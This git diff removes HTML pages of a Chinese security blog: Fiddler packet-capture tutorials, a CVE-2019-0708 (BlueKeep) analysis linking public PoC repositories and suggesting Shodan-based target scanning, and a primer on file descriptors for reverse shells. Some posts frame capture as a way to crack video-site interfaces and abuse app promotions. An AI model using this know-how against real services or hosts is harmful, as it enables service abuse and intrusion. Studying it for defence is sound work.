Accept-Encoding: gzip, deflate

-
-

这些接口,全都是永久有效的!

-

拥有抓包技术,你就可以自己制作任何的视频APP,调用第三方的接口即可!!!

-

另外楼主尝试过支付宝等相关APP,依旧能抓到部分的包。

-

####

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - 使用fiddler对手机上的程序进行抓包 - - 使用fiddler对手机上的程序进行抓包 -
-
-
-
- - -用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。 - -前提: 1.必须确保安装fiddler的电脑和手机在同一个wifi环境下 - 备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - 【Fiddler为所欲为第二篇】像OD一样调试 - - 【Fiddler为所欲为第二篇】像OD一样调试 -
-
-
-
- - - -导语: 其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”! - - - -一、像OD一样定制菜单 - 1.1定制ru - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/02/fiddler-three/index.html b/2019/06/02/fiddler-three/index.html deleted file mode 100644 index efa4f76..0000000 --- a/2019/06/02/fiddler-three/index.html +++ /dev/null @@ -1,799 +0,0 @@ - - - - - - - - - - - - - - - - 【Fiddler为所欲为第三篇】封包逆向必备知识 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- 【Fiddler为所欲为第三篇】封包逆向必备知识 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • -
    -
    -

    小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。
    didi科学家:不好意思,抓包可以为所欲为。

    -
    -

    其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆向。使用OD需要知道jmp等指令是什么意思,而抓包也是一样的逻辑!

    -
    -

    一、封包字段的含义

    -

    img

    -

    如图所示,Fiddler的整个界面就是这样,那么这些字段究竟是什么意思呢?这里给大家说一下:

    -

    Result:HTTP状态码      

    -

    Protocol:请求使用的协议,如HTTP/HTTPS/FTP等

    -

    HOST:请求地址的主机名或域名

    -

    URL:请求资源的位置

    -

    Body:请求大小

    -

    Caching:请求的缓存过期时间或者缓存控制值

    -

    Content-Type:请求响应的类型

    -

    Process:发送此请求的进程ID

    -

    Comments:备注

    -

    Custom:自定义值

    -

    二、Request区域

    -

    Request区域如图所示:

    -

    img

    -

    那么每一个数据都是什么意思呢?

    -

    请求方式:GET/POST等

    -

    协议: HTTP/1.1(通常都是这个)

    -

    \1. Cache 头域

    -

      if-Modified-since:缓存

    -

      if-None-Match:可提高性能(在Response中添加ETag信息,客户端再次请求资源,Request中加入if-None-Match(ETag的值),服务器验证ETag,若没改变返回状态码304,有改变,返回状态码200)

    -

      Pragma:防止页面被缓存

    -

      Cache-Control:Response—Request遵循的缓存机制

    -

      public:可以被任何缓存所缓存

    -

      private:内容只缓存在私有缓存中

    -

      no-cache:所有内容都不会被缓存

    -

    \2. Client 头域

    -

      User-Agent: 告知服务器客户端使用的操作系统与浏览器的名称和版本

    -

      Accept: 浏览器端可以接受的媒体、文件类型

    -

      Accept-Encoding: 指定压缩方法,是否支持压缩,支持什么压缩方法(gzip、deflate)

    -

      Accept-Language: 浏览器申明自己的接收语言

    -

      Accept-chareset:浏览器申明自己接收的字符集。如gb2312,UTF_8

    -

    \3. Cookies 头域

    -

      有的请求不发送Cookies,有的请求有Cookies。

    -

      目的:将cookie值发送给服务器

    -

    \4. Entity头域

    -

      Content-Length:发送给HTTP服务器的数据长度

    -

      Content-Type:决定文件接收方将以什么形式、什么编码读取此文件

    -

    \5. Security 头域:

    -

      Upgrade-Insecure-Requests: 1(默认,这个是自己协商的)

    -

    \6. Transport 头域:

    -

      Host: 发送请求时,该报头域是必需的。主要用于指定被请求资源的Internet主机和端口号,通常从HTTP URL 中提取出来

    -

      Proxy-Connection: 当网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接是否关闭。keep-alive表示不会关闭,客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接;close表示关闭,客户端再次访问这个服务器上的网页,需要重新建立连接。

    -

      connection:Keep—alive TCP连接不会关闭

    -

      connection:close 一个Request完成后,TCP连接关闭

    -

    \7. Miscellaneous头域

    -

      Referer:提供了Request的上下文信息,告诉服务器我是从哪个链接过来的

    -

      A——>B(B的服务器从Referer中统计有多少用户是从A过来的)

    -

    三、Response

    -

    Response如图所示:

    -

    img

    -

    \1. Cache头域

    -

      Date:生成消息的具体时间和日期

    -

      Expires:浏览器在指定过期时间内使用本地缓存

    -

    \2. Cookie/Login头域

    -

      P3P:用户跨域设置cookie,可以解决iframe跨域访问cookie的问题

    -

      Set-Cookie:重要的header,用于把cookie发送到客户端浏览器,每一个写入cookie都会生成一个set-cookie

    -

    \3. Entity头域

    -

      ETag:与if-None-Match配合使用

    -

      Last-Modified:用于指示资源的最后修改日期和时间

    -

      Content-Type:Web服务器告知浏览器自己响应对象的类型和字符集

    -

      Content-Length:指明实体正文长度,以字节方式存储的十进制数字表示。在数据下行中,要预先在服务器中缓存所有数据,然后所有数据一并发给客户端

    -

      Content-Encoding:Web服务器表明自己用了什么压缩方式(gzip、deflate)压缩响应中的对象

    -

      Content-Language:服务器告知浏览器自己响应的对象语言

    -

    \4. Miscellaneous头域

    -

      Server:指明HTTP服务器的软件信息

    -

      X-Powered-By:表明网站是用什么技术开发的

    -

      X-AspNet-Version:如果网站是用Asp/Net开发的,这个header用来表明Asp/Net的版本

    -

    \5. Transport头域

    -

      connection:Keep—alive TCP连接不会关闭

    -

      connection:close 一个Request完成后,TCP连接关闭

    -

    \6. Location头域

    -

      Location:用于重定向一个新的位置,包括新的URL地址

    -

    四、HTTP认证过程

    -

      1. 客户端发送HTTP Request给服务器;

    -

      2. Request中未包含Authorization header,服务器会返回一个401错误给客户端,且在Response中的header“www-Authenticate”中添加信息;

    -

      3. 客户端将用户名和密码以base64加密后,放在Authorization中发送给服务器,认证成功;

    -

      4. 服务器将Authorization header中的用户名和密码去除,进行验证。如果验证通过,将根据请求发送资源给客户端;

    -

      HTTP OAuth认证:OAuth对于http来说,就是放在Authorization header中的不是用户名密码,而是一个token(令牌)。

    -

      客户端的使用:客户端若要跟“使用基本认证的网站”进行交互,将用户名密码加载Authorization header中即可。

    -

    五、Fiddler常见图标的含义

    -

    img

    -
    -
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
- - -今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~首先需要做好准备工作:(所有APP的抓包都会用到以下工具 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - 使用fiddler对手机上的程序进行抓包 - - 使用fiddler对手机上的程序进行抓包 -
-
-
-
- - -用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。 - -前提: 1.必须确保安装fiddler的电脑和手机在同一个wifi环境下 - 备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/02/fiddler-two/index.html b/2019/06/02/fiddler-two/index.html deleted file mode 100644 index 786cc03..0000000 --- a/2019/06/02/fiddler-two/index.html +++ /dev/null @@ -1,827 +0,0 @@ - - - - - - - - - - - - - - - - 【Fiddler为所欲为第二篇】像OD一样调试 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- 【Fiddler为所欲为第二篇】像OD一样调试 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • -

    导语:
    其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“OllyDbg”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”!

    -
    -
  • -
-

一、像OD一样定制菜单

-
   1.1定制rule菜单的子菜单
-
-
-
-

​ // 定义名为52pj的子菜单
​ RulesString(“&52pj”, true);
​ // 生成52pj子菜单的radio选项
​ RulesStringValue(0,”安卓8.0”, “52pj&狂暴补师亚丝娜&k=52pj”)
​ RulesStringValue(1,”安卓9.0”, “52pj&610100&k=52pj”)
​ RulesStringValue(2,”安卓10.0”, “52pj&didi科学家&k=52pj”)
​ RulesStringValue(3,”安卓11.0”, “52pj&CrazyNut&k=52pj”)
​ RulesStringValue(4,”&Custom…”, “%CUSTOM%”)
​ public static var s52pj: String = null;

-
-
-

}

-
-
-

还需要在OnBeforeRequest函数中加入:

-
-
-

if (null != s52pj) {
oSession.oRequest[“52pj”] = s52pj;

-
-
 ![img](https://attach.52pojie.cn/forum/201901/25/122553e3cqsscluu81cd8q.png)     
-

效果图:
img

-

1.2定制tool菜单的子菜单

-
-
-
-

public static ToolsAction(“我是子菜单”)
function DoManualYules(){

-
-

//子菜单的功能
FiddlerObject.alert(“我是子菜单”); // 根据需要定制
}

-
-
-
 ![img](https://attach.52pojie.cn/forum/201901/25/122803pn9gan9rnfvgcf1n.png)     
-

1.3定制右键菜单

-
-

public static ContextAction(“我是右键菜单”)
function DoOpenInIE(oSessions: Fiddler.Session[]){
FiddlerObject.alert(“我是右键菜单”); // 根据需要定制
}

-
-

右键菜单不好截图,就不截图啦~~~~
子菜单和右键菜单自己新建一个类就OK了。

-

二、限速
fiddler提供了一个功能,让我们模拟低速网路环境。启用方法如下:Rules → Performances → Simulate Modem Speeds。勾选之后,你会发现你的网路瞬间慢下来了很多。至于慢下来后网络速度是多少,则由CustomRules.js 中如下程序控制的:

-
-

var m_SimulateModem: boolean = true;

if (m_SimulateModem) {
// 500毫秒/KB(上传)
oSession[“request-trickle-delay”] = “500”;
// 150毫秒/KB(下载)
oSession[“response-trickle-delay”] = “150”;
}

-
-

三、AutoResponder (自动替换功能)
方法是点下Fiddler 右上的AutoResponder ,勾选Enable automatic responses 和Unmatched requests passthrough ,按下右边的Add ;

-

再将下方的Rule Editor 第一行修改为线上档案位址(线上档案位址也可以使用Regular Expression ,开头加上regex: 即可。)

-

按下Rule Editor 第二行右边的箭头,选择Find a file … ;选择要替换成的本机端档案,按下右边的SAVE ,大功告成!

-

img

-

将线上档案替换成另一个线上档案,步骤几乎一模一样,差别仅在Rule Editor 第二行填入的是另一线上档案位址:

-

img

-

更多AutoResponder的说明请参考Fiddler官方文件- AutoResponder Reference 。

-

(PS:AutoResponder 这个网上有比较多的教程,我直接复制的了。)

-

四:命令调试(和OD的命令调试操作基本相同)

-

4.1替换 Request Host。

-

关键函数:urlreplace

-

比如:urlreplace www.baidu.com www.360.com

-

按下Enter ,所有原先发到百度的HTTP Request 就转发到360 了。

-
 ![img](https://attach.52pojie.cn/forum/201901/25/123822ksgz891tprtwb5t4.png)     
-

要清除转发,请在同一位置输入:

-

urlreplace

-

另外script也可以做到:

-
-

if ( oSession . HostnameIs ( ‘www.baidu.com' ) )
oSession . hostname = ‘www.360.com' ;

-
-

4.2 下断点(和OD、VS调试一样的哦)

-
-

命令介绍:
bpu在请求开始时中断,
bpafter在响应到达时中断,
bps在特定http状态码时中断,
bpv/bpm在特定请求method时中断。

-
-

如:

-

bpu www.baidu.com/52pj/狂暴补师亚丝娜

-

这样既可在访问这个网址的时候自动下断点哦。

-

4.3Fiddler其他内置命令(4.3为转载)

-
    -
  • secret
  • -
-
-

选择所有相应类型(指content-type)为指定类型的HTTP请求,如选择图片,使用命令select image.而select css则可以选择所有相应类型为css的请求,select html则选择所有响应为HTML的请求(怎么样,是不是跟SQL语句很像?)。

-
-
    -
  • allbut
  • -
-
-

allbut命令用于选择所有响应类型不是给定类型的HTTP请求。如allbut image用于选择所有相应类型不是图片的session(HTTP请求),该命令还有一个别名keeponly.需要注意的是,keeponly和allbut命令是将不是该类型的session删除,留下的都是该类型的响应。因此,如果你执行allbut xxxx(不存在的类型),实际上类似与执行cls命令(删除所有的session, ctrl+x快捷键也是这个作用)

-
-
    -
  • ?text
  • -
-
-

选择所有 URL 匹配问号后的字符的全部 session

-
-
    -
  • >size 和 <size命令
  • -
-
-

选择响应大小大于某个大小(单位是b)或者小于某个大小的所有HTTP请求

-
-
    -
  • =status命令
  • -
-
-

选择响应状态等于给定状态的所有HTTP请求。

-
-

例如,选择所有状态为200的HTTP请求:=200

-
    -
  • @host命令
  • -
-
-

选择包含指定 HOST 的全部 HTTP请求。例如:@csdn.net

-
-

五、“逆向”

-

这里只能简单提及一下,当你发现下断点的网址过后,可以使用ctrl+F的方式,就行搜索该网址,既可看是什么接口返回的该地址,也就是简单的逆向!

-

最后:

-

熟练掌握Fiddler,能够破解爱奇艺、优酷等永久不失效的接口,也可薅羊毛(饿了么等),具体就要看大家的掌握程度了!破解游戏啥的就不说了。

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - 【Fiddler为所欲为第二篇】像OD一样调试 -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 - - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 -
-
-
-
- - 说起抓包,很多人以为就是用个工具,简简单单地抓一下就可以了。 -在这里,我必须发一个教程,解析一下抓包神器——Fiddler。 -Fiddler仅仅是一个抓包工具?不好意思,Fiddler用得好,真的可以为所欲为。 -Fiddler的作者 - -Fi - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS - - Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS -
-
-
-
- - -正文:一、Selenium1、Selenium是什么Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium - -
-
- - 2019-05-19 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/02/fiddler/index.html b/2019/06/02/fiddler/index.html deleted file mode 100644 index 53c8f37..0000000 --- a/2019/06/02/fiddler/index.html +++ /dev/null @@ -1,739 +0,0 @@ - - - - - - - - - - - - - - - - 使用fiddler对手机上的程序进行抓包 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- 使用fiddler对手机上的程序进行抓包 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 用fiddler对手机上的程序进行抓包,网上有很多的资料,这里写一下来进行备用。

  • -
-

前提:

1.必须确保安装fiddler的电脑和手机在同一个wifi环境下

-

备注:如果电脑用的是台式机,可以安装一个随身wifi,来确保台式机和手机在同一wifi环境下

-

2.可以使用电脑安卓模拟器

-

安装配置步骤:

1.下载一个fiddler,网上随便下一个就可以了
2.配置fiddler

Tools->Fiddler Options->Connections

-

img

-

说明:1.Fiddler listens on port是手机连接fiddler时的代理端口号,默认8888即可

-

​ 2.Allow remote computers to connect是允许远程发送请求,需要勾上

-

Tools->Fiddler Options->HTTPS

-

img

-

说明:勾上Decrypt HTTPS traffic,会抓到手机的https请求,如果想抓到https请求还需要在手机安装证书,下面会介绍

-

【fiddler设置后一定要把fiddler重启一下才会生效】

-
3.手机上的配置

3.1需要安装fiddler证书

-

使用手机浏览器访问http://【电脑IP地址】:【fiddler设置的端口号】,既可以下载fiddler的证书并安装

-

【查看电脑IP的方法,直接在cmd下ipconfig,或者鼠标滑过fiddler的online也可以看到IP地址】

-

img

-

以上面看到的我的IP地址为例,手机只要访问http://10.252.167.91:8888即可下载安装fiddler证书

-

3.2手机设置wifi的代理

-

连接与电脑相同的wifi,修改wifi的网络,手动设置代理,代理服务器主机名为电脑的IP地址,代理端口为在fiddler里设置的端口号,保存后,fiddler将能够收到手机上的请求信息

-

img

-

以上就是配置方法,其他的就可以直接用了,比如在fiddler里进行一下请求的过滤,只看某个服务器下的请求,配置后要点一下Actions来保存过滤

-

img

-

在测试中可能会有测试环境,测试环境有的公司时域名相同,但是hosts不同,通过不同的服务器IP地址指向来确定是什么环境。在PC测试上可以非常方便的更改本机hosts指向来切换测试环境和线上环境,在手机上更改hosts比较麻烦。这时候就可以利用fiddler来连接手机,更改电脑的hosts,来实现手机连接测试环境的操作。

-

注意:

-

1.手机配置了代理,fiddler必须启动,手机才可以上网,如果fiddler关闭后手机是不可以联网了,需要将代理去掉才可以进行联网。

-

2.fiddler启东时,会默认将Internet的代理更改为127.0.0.1,在正常退出fiddler时代理会恢复为原来的代理。但是如果遇到fiddler不正常退出(比如进程直接杀掉),会导致代理没有恢复的情况,这是需要手动修改Internet的代理(恢复为原来的代理或者取消代理)

-

设置Internet代理的方法如下:

-

img

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - 使用fiddler对手机上的程序进行抓包 -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - 【Fiddler为所欲为第三篇】封包逆向必备知识 - - 【Fiddler为所欲为第三篇】封包逆向必备知识 -
-
-
-
- - - - - -小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。 didi科学家:不好意思,抓包可以为所欲为。 - -其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 - - Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 -
-
-
-
- - 说起抓包,很多人以为就是用个工具,简简单单地抓一下就可以了。 -在这里,我必须发一个教程,解析一下抓包神器——Fiddler。 -Fiddler仅仅是一个抓包工具?不好意思,Fiddler用得好,真的可以为所欲为。 -Fiddler的作者 - -Fi - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/11/cve-2019-0708-lou-dong-qian-xi/index.html b/2019/06/11/cve-2019-0708-lou-dong-qian-xi/index.html deleted file mode 100644 index 2e7faf2..0000000 --- a/2019/06/11/cve-2019-0708-lou-dong-qian-xi/index.html +++ /dev/null @@ -1,917 +0,0 @@ - - - - - - - - - - - - - - - - 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- -
-
-
-
-
-
- - - -
- - - - -
-
- -
-
- -
-
-
-

关于CVE-2019-0708漏洞浅析,和POC验证整理

1. 漏洞情况:

微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE-2019-0708):攻击者在没有任何授权的情况下,可以远程直接攻击操作系统开放的3389服务,在受害主机上执行恶意攻击行为,包括安装后门,查看、篡改隐私数据,创建拥有完全用户权限的新账户,影响范围从Windows XP到Windows 2008 R2。由于3389服务应用广泛且该漏洞利用条件低,只要服务端口开放即可,导致该漏洞影响和危害程序堪比“WannaCry”。因此,微软额外为Windows XP、Windows 2003这些已经停止支持的系统发布了该漏洞的安全补丁。

-

2. 漏洞概要

*QQ截图20190605101736.jpg**

-

3. 预防与修复建议:

    -
  1. 升级微软官方补丁:
  2. -
-

Windos XP、Windows 2003等老旧系统需手动下载补丁:https://support.microsoft.com/en-ca/help/4500705/customer-guidance-for-cve-2019-0708;

-

Windows 7、Windows 2008系统自动升级即可,手动升级可到如下链接下载补丁:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175;

-
    -
  1. 如非必要,请关闭远程桌面服务;
  2. -
-

4. 打补丁前后比较:

通过分析打补丁前后差异在于 termdd.sys 文件的 IcaBindVirtualChannels 及 IcaReBindVirtualChannels ,增加了对 MS_T120 协议通道的判定,如果是通道协议名为 MS_T120 ,则设定 IcaBindChannel 的第三个参数为 31 。

-

2.jpg

-

服务端在初始化时,会创建名为MS_T120、 Index 为 31 的通道,在收到 MCS Connect Initial 数据封包后进行通道创建和绑定操作,在 IcaBindVirtualChannels 函数中进行绑定时, IcaFindChannelByName 函数只根据通道名进行通道查找。当通道名为 MS_T120 (不区分大小写)时,会找到系统内部通道 MS_T120 的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。

-

5. 漏洞复现和POC验证:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
验证环境和脚本
Windows7(靶机)(VM下NAT模式或桥接模式)
kali Linux(验证机)
Python3需要安装POC依赖 OpenSSL,impacket.structure
Poc(验证脚本-蓝屏)https://github.com/1amfine2333/CVE-2019-0708
Poc(未验证)https://github.com/Ekultek/BlueKeep
Poc(基于poc正在开发exp的项目)https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit
-
5.1 已经开启远程连接,且网络设置正确:

-
5.2 验证机中克隆POC,开始验证:

-
5.3 靶机windows7 蓝屏重启:

-

6.总结与延伸:

可供验证的POC有很多,仅仅作为漏洞复现,采用了最直观的一种,整理的比较简略,后续可结合shodan,zoomeye等api,编程对具有潜在漏洞特征的目标,实现自动化信息采集和检测。

- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Linux反弹shell(一)文件描述符与重定向 - - Linux反弹shell(一)文件描述符与重定向 -
-
-
-
- - -0X00 前言由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。 -0X01 文 - -
-
- - 2019-06-15 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 - - 【Fiddler为所欲为第四篇】直播源抓取与接口分析 -
-
-
-
- - -今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~)今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~首先需要做好准备工作:(所有APP的抓包都会用到以下工具 - -
-
- - 2019-06-02 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - -
-
-
-
  目录
-
-
-
-
- - - -
- - - -
- - - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/06/15/rebound-shell-one/index.html b/2019/06/15/rebound-shell-one/index.html deleted file mode 100644 index 6ce9157..0000000 --- a/2019/06/15/rebound-shell-one/index.html +++ /dev/null @@ -1,746 +0,0 @@ - - - - - - - - - - - - - - - - Linux反弹shell(一)文件描述符与重定向 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Linux反弹shell(一)文件描述符与重定向 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 0X00 前言

    由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。

    -

    0X01 文件描述符

    -

    linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

    -
    -

    当Linux启动的时候会默认打开三个文件描述符,分别是:

    -

    标准输入standard input 0 (默认设备键盘)
    标准输出standard output 1(默认设备显示器)
    错误输出:error output 2(默认设备显示器)

    -

    img

    -

    注意:

    (1)以后再打开文件,描述符可以依次增加
    (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

    -

    文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    -

    一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

    -

    0X02 重定向

    重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

    -

    (1)输入重定向 < <<
    (2)输出重定向 > >>

    -

    重点:

    1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

    -

    2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

    -

    3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

    -

    4.再强调一下,重定向就是针对文件描述符的操作

    -

    1.输入重定向

    格式: [n]< word (注意[n]与<之间没有空格)

    -

    说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

    -

    img

    -

    img

    -

    解释: 解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。(有没有觉得这个其实就是C语言中的指针或者文件句柄,就是将0这个指针指向了不同的地址,自然有不同的输入)

    -

    图示:

    -

    img

    -

    2.输出重定向

    格式: [n]> word

    -

    img

    -

    img

    -

    说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

    -

    图示:

    -

    img

    -

    3.标准输出与标准错误输出重定向

    格式: &> word >& word

    -

    说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

    -

    img

    -

    解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

    -

    图示:

    -

    img

    -

    4.文件描述符的复制

    格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

    -

    说明:

    -

    1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    -

    因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    -

    2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

    -

    这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中

    -

    重点:

    之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

    -

    (1)cmd > file 2>&1
    (2)cmd 2>&1 >file

    -

    与第一条指令类似的指令在上面我已经介绍过了,我们现在就来看看第二条指令的执行过程

    -

    1.首先解析器解析到 2>&1

    -

    img

    -

    2.解析器再向后解析到 “>”

    -

    img

    -

    5.exec 绑定重定向

    格式:exec [n] </> file/[n]

    -

    上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

    -

    重点:

    格式: [n]<>word

    -

    说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

    -

    img

    -

    img

    -

    0X03 总结

    文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。

    -

    个人博客: http://www.k0rz3n.com

    -

    0X04 参考链接

    https://blog.csdn.net/ccwwff/article/details/48519119
    http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html
    http://www.178linux.com/54471

    -
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Linux 反弹shell(二)反弹shell的本质 - - Linux 反弹shell(二)反弹shell的本质 -
-
-
-
- - -0X00 前言在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shel - -
-
- - 2019-06-16 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - - - - -
-
-
-
- - 关于CVE-2019-0708漏洞浅析,和POC验证整理1. 漏洞情况: 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE - -
-
- - 2019-06-11 - - - - - Demo - - -
-
- -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
